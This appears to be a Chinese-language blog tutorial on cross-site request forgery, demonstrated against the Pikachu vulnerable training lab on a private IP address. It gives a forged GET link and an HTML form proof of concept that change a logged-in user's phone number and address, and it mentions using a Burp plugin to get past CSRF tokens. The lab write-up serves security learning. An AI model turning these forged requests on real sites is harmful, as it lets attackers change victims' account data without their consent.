CSRF(跨站请求伪造)概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。
视频演示
CSRF (GET)
给出的用户信息我们进行登录。登录完成后,点击下方的修改个人信息。并在burp中抓包。
如果,我们这里有修改用户密码情况。他人只需将构造好的链接发給别人。当自己点击后,密码便会被修改。
http://192.168.123.129:88/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=888888&add=usasd&email=lucy%40pikachu.com&submit=submit
如上,任何人当前登录的用户。访问了这条链接。他的电话号码都会变成888888
CSRF (PSOT)
对于post请求,我们还是一样。先对其进行抓包。效果如下!
但是,这种post请求,我们不能和上面一样。直接利用url进行GJ。需要构建类似该POST请求的html
利用如下
<html>
<body>
<form action="http://192.168.123.129:88/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="girl" />
<input type="hidden" name="phonenum" value="9999999990000" />
<input type="hidden" name="add" value="usa" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="submit" value="submit" />
<input id="submit" type="submit" value="Submit request"/>
</form>
</body>
</html>
然后,访问该html文件。便顺利更改信息。
CSRF Token
还是一样,我们先对其进行抓包。观察数据结构。
发现,数据里面多了一个token的值。删除token是无法修改用户信息的!并且token的值每次请求都会发生变化,所以攻击者不能用自己的token对受害者进行攻击。虽然token在一定程度上,防止了csrf攻击。但是当我们掌握的其原理之后,便觉得很简单了。(前端的token等于后端的token)对于此类,我们该怎么办呢?
很简单,我们只需一个插件CSRF Token Tracker
添加主机信息和关键词
更多精彩文章 欢迎关注我们
还没有评论,来说两句吧...